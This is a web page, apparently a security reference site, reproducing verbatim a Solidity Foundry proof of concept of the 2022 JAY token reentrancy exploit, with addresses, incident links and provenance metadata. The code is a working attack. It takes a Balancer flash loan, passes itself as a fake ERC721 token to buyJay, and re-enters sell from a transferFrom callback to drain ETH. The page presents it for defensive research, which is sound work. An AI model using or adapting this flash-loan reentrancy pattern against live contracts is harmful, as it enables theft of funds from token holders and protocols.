Skip to content
THREATWIRE

Public reproduction file

src/test/2022-12/JAY_exp.sol

Public reproduction file for dataset entry - JAY.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-12/JAY_exp.sol119 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~15.32 ETH
8// Attacker : 0x0348D20b74Ddc0ac9bfC3626e06d30bb6Fac213b
9// Attack Contract : https://etherscan.io/address/0xed42cb11b9d03c807ed1ba9c2ed1d3ba5bf37340
10// Vulnerable Contract : https://etherscan.io/address/0xf2919d1d80aff2940274014bef534f7791906ff2
11// Attack Tx : https://etherscan.io/tx/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xf2919d1d80aff2940274014bef534f7791906ff2#code#L1115
16// @Analysis
17// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/1608372475225866240
18// Article Shashank : https://blog.solidityscan.com/jay-token-exploit-reentrancy-attack-d7a4923b6333
19// Article Hypernative : https://www.hypernative.io/blog/jaypeggers-exploit
21interface IJay {
22 function buyJay(
23 address[] memory erc721TokenAddress,
24 uint256[] memory erc721Ids,
25 address[] memory erc1155TokenAddress,
26 uint256[] memory erc1155Ids,
27 uint256[] memory erc1155Amounts
28 ) external payable;
29 function sell(
30 uint256 value
31 ) external;
32 function balanceOf(
33 address account
34 ) external view returns (uint256);
37contract ContractTest is Test {
38 IJay constant JAY_TOKEN = IJay(0xf2919D1D80Aff2940274014bef534f7791906FF2);
39 IBalancerVault constant BALANCER_VAULT = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
40 IWETH constant WETH_TOKEN = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
41 uint256 constant BORROWED_ETH = 72.5 ether;
43 function setUp() public {
44 vm.createSelectFork("mainnet", 16_288_199);
45 // Adding labels to improve stack traces' readability
46 vm.label(address(JAY_TOKEN), "JAY_TOKEN");
47 vm.label(address(BALANCER_VAULT), "BALANCER_VAULT");
48 vm.label(address(WETH_TOKEN), "WETH_TOKEN");
49 vm.label(0xce88686553686DA562CE7Cea497CE749DA109f9F, "BALANCER_ProtocolFeesCollector");
50 }
52 function testExploit() public {
53 // "Clean" contract's balance
54 payable(address(0)).transfer(address(this).balance);
55 emit log_named_decimal_uint("[Start] Attacker ETH balance before exploit", address(this).balance, 18);
57 // Setup flashloan parameters
58 address[] memory tokens = new address[](1);
59 tokens[0] = address(WETH_TOKEN);
60 uint256[] memory amounts = new uint256[](1);
61 amounts[0] = BORROWED_ETH;
62 // The following value for "b" was used in the original exploit, but it is actually not required here
63 bytes memory b =
64 "0x000000000000000000000000000000000000000000000001314fb37062980000000000000000000000000000000000000000000000000002bcd40a70853a000000000000000000000000000000000000000000000000000030927f74c9de00000000000000000000000000000000000000000000000000006f05b59d3b200000";
66 // Execute the flashloan. It will return the funds in the `receiveFlashLoan()` callback
67 BALANCER_VAULT.flashLoan(address(this), tokens, amounts, b);
69 emit log_named_decimal_uint("[End] Attacker ETH balance after exploit", address(this).balance, 18);
70 }
72 /*
73 * Callback function called by the Balancer Vault during the flashloan
74 */
75 function receiveFlashLoan(
76 IERC20[] memory, /* tokens*/
77 uint256[] memory amounts,
78 uint256[] memory, /*feeAmounts*/
79 bytes memory /*userData*/
80 ) external {
81 require(msg.sender == address(BALANCER_VAULT));
83 // Transfer WETH to ETH and start the attack
84 WETH_TOKEN.withdraw(amounts[0]);
86 JAY_TOKEN.buyJay{value: 22 ether}(
87 new address[](0), new uint256[](0), new address[](0), new uint256[](0), new uint256[](0)
88 );
90 address[] memory erc721TokenAddress = new address[](1);
91 erc721TokenAddress[0] = address(this);
93 uint256[] memory erc721Ids = new uint256[](1);
94 erc721Ids[0] = 0;
96 JAY_TOKEN.buyJay{value: 50.5 ether}(
97 erc721TokenAddress, erc721Ids, new address[](0), new uint256[](0), new uint256[](0)
98 );
99 JAY_TOKEN.sell(JAY_TOKEN.balanceOf(address(this)));
100 JAY_TOKEN.buyJay{value: 3.5 ether}(
101 new address[](0), new uint256[](0), new address[](0), new uint256[](0), new uint256[](0)
102 );
103 JAY_TOKEN.buyJay{value: 8 ether}(
104 erc721TokenAddress, erc721Ids, new address[](0), new uint256[](0), new uint256[](0)
105 );
106 JAY_TOKEN.sell(JAY_TOKEN.balanceOf(address(this)));
108 // Repay the flashloan by depositing ETH for WETH and transferring it back to Balancer
109 (bool success,) = address(WETH_TOKEN).call{value: BORROWED_ETH}("deposit");
110 require(success, "Deposit failed");
111 WETH_TOKEN.transfer(address(BALANCER_VAULT), BORROWED_ETH);
112 }
114 function transferFrom(address, /*sender*/ address, /*recipient*/ uint256 /*amount*/ ) external {
115 JAY_TOKEN.sell(JAY_TOKEN.balanceOf(address(this))); // reenter call JAY_TOKEN.sell
116 }
118 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “- JAY” (2022-12-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x0348d20b74ddc0ac9bfc3626e06d30bb6fac213b

  • Attack Contract

    0xed42cb11b9d03c807ed1ba9c2ed1d3ba5bf37340

  • Vulnerable Contract

    0xf2919d1d80aff2940274014bef534f7791906ff2

  • Attack Tx

    0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6

File record

Name
JAY
Path
src/test/2022-12/JAY_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
5f36cbfaa10bf0f4d4e0d6ff1c1f56fc7547e2f5
Language
Solidity
Size
120 lines
Date
2022-12-29
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-12/JAY_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5f36cbfaa10bf0f4d4e0d6ff1c1f56fc7547e2f5, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.